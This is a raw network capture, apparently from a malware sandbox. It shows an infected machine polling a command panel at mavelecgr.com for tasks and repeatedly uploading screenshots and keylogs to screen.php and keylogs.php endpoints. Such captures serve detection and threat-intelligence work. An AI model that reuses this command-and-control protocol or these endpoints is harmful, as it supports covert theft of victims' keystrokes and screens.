Feb 21, 2023 07:08:27.337120056 CET	9700	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:27.382891893 CET	9700	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:27 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:27.492922068 CET	9700	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:27.538619995 CET	9701	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:27 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:27.649441004 CET	9701	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:27.694680929 CET	9701	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:27 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:27.796498060 CET	9701	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:27.842195988 CET	9701	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:27 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:27.944801092 CET	9701	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:27.990137100 CET	9702	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:27 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:28.092523098 CET	9702	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:28.137923956 CET	9702	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:28 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:28.240547895 CET	9702	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:28.286832094 CET	9702	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:28 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:28.898742914 CET	9703	OUT	POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e5079a3edf Host: mavelecgr.com Content-Length: 50736 Expect: 100-continue
Feb 21, 2023 07:08:28.942210913 CET	9703	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:08:29.031454086 CET	9754	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:29 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:29.064253092 CET	9754	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e50caf4e6d Host: mavelecgr.com Content-Length: 241 Expect: 100-continue
Feb 21, 2023 07:08:29.107717037 CET	9755	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:08:29.236572027 CET	9755	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:29 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:29.357057095 CET	9755	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:29.402827024 CET	9756	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:29 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:29.412296057 CET	9756	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e51a942fe7 Host: mavelecgr.com Content-Length: 256 Expect: 100-continue
Feb 21, 2023 07:08:29.455800056 CET	9756	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:08:29.584278107 CET	9757	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:29 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:29.713738918 CET	9757	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:29.758985043 CET	9757	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:29 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:30.012947083 CET	9757	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:30.058142900 CET	9758	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:30 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:30.846611023 CET	9758	OUT	POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e53c241ab6 Host: mavelecgr.com Content-Length: 51130 Expect: 100-continue
Feb 21, 2023 07:08:30.890067101 CET	9758	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:08:30.997670889 CET	9810	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:30 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:31.065067053 CET	9810	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e5438244a5 Host: mavelecgr.com Content-Length: 284 Expect: 100-continue
Feb 21, 2023 07:08:31.108510017 CET	9810	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:08:31.244896889 CET	9811	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:31 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:31.348009109 CET	9811	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:31.394268990 CET	9811	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:31 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:31.534636974 CET	9811	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:31.580182076 CET	9812	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:31 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:31.789192915 CET	9812	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:31.834522963 CET	9812	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:31 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:31.941983938 CET	9812	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:31.987329960 CET	9812	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:31 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:32.100373030 CET	9813	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:32.146167994 CET	9813	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:32 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:32.287158012 CET	9813	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:32.333164930 CET	9813	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:32 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:32.486470938 CET	9813	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:32.532726049 CET	9814	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:32 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:32.635966063 CET	9814	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:32.681299925 CET	9814	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:32 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:32.801254988 CET	9814	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:32.846848965 CET	9814	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:32 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:33.011542082 CET	9815	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:33.056893110 CET	9815	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:33 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:33.222258091 CET	9815	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:33.267528057 CET	9815	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:33 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:34.965173006 CET	9816	OUT	POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e552a573f5 Host: mavelecgr.com Content-Length: 56276 Expect: 100-continue
Feb 21, 2023 07:08:35.008538961 CET	9816	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:08:35.097810030 CET	9873	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:35 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:35.150789976 CET	9873	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e552c22442 Host: mavelecgr.com Content-Length: 241 Expect: 100-continue
Feb 21, 2023 07:08:35.194039106 CET	9873	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:08:35.326318979 CET	9874	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:35 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:35.445467949 CET	9874	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:35.491200924 CET	9874	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:35 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:37.495843887 CET	9874	OUT	POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e56e4abf73 Host: mavelecgr.com Content-Length: 56147 Expect: 100-continue
Feb 21, 2023 07:08:37.541011095 CET	9874	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:08:37.651612997 CET	9931	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:37 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:37.830436945 CET	9931	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e57f759569 Host: mavelecgr.com Content-Length: 256 Expect: 100-continue
Feb 21, 2023 07:08:37.873770952 CET	9931	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:08:38.026221037 CET	9932	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:37 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:38.128843069 CET	9932	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:38.176194906 CET	9932	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:38 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:39.077367067 CET	9933	OUT	POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e5b136978b Host: mavelecgr.com Content-Length: 56276 Expect: 100-continue
Feb 21, 2023 07:08:39.120668888 CET	9933	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:08:39.213643074 CET	9990	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:39 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:39.336922884 CET	9990	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e5c06e9cca Host: mavelecgr.com Content-Length: 284 Expect: 100-continue
Feb 21, 2023 07:08:39.380350113 CET	9990	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:08:39.510595083 CET	9991	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:39 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:39.628267050 CET	9991	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:39.679763079 CET	9991	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:39 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:39.790417910 CET	9991	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:39.835975885 CET	9992	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:39 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:39.946835041 CET	9992	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:39.991960049 CET	9992	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:39 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:40.109265089 CET	9992	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:40.154875994 CET	9992	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:40 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:40.256282091 CET	9993	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:40.301703930 CET	9993	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:40 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:40.426801920 CET	9993	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:40.518013954 CET	9993	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:40 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:40.619252920 CET	9993	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:40.664360046 CET	9994	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:40 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:40.766395092 CET	9994	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:40.811983109 CET	9994	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:40 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:40.914444923 CET	9994	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:40.959562063 CET	9994	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:40 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:41.070545912 CET	9995	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:41.115596056 CET	9995	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:41 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:41.234679937 CET	9995	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:41.280168056 CET	9995	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:41 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:41.405534983 CET	9995	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:41.451325893 CET	9996	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:41 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:43.189548016 CET	9996	OUT	POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e6431da94f Host: mavelecgr.com Content-Length: 51165 Expect: 100-continue
Feb 21, 2023 07:08:43.233139038 CET	9996	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:08:43.329221964 CET	10048	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:43 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:43.369806051 CET	10048	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e64db148ed Host: mavelecgr.com Content-Length: 241 Expect: 100-continue
Feb 21, 2023 07:08:43.412928104 CET	10048	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:08:43.542387009 CET	10049	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:43 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:44.608242035 CET	10049	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:44.654362917 CET	10049	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:44 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:52.415203094 CET	10051	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e6768f6999 Host: mavelecgr.com Content-Length: 256 Expect: 100-continue
Feb 21, 2023 07:08:52.458626032 CET	10051	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:08:52.587412119 CET	10052	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:08:52 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:08:52.696351051 CET	10052	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:08:52.741684914 CET	10052	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:08:52 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:08:52.756253958 CET	10053	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e688503815 Host: mavelecgr.com Content-Length: 284 Expect: 100-continue
Feb 21, 2023 07:08:52.799458027 CET	10053	IN	HTTP/1.1 100 Continue
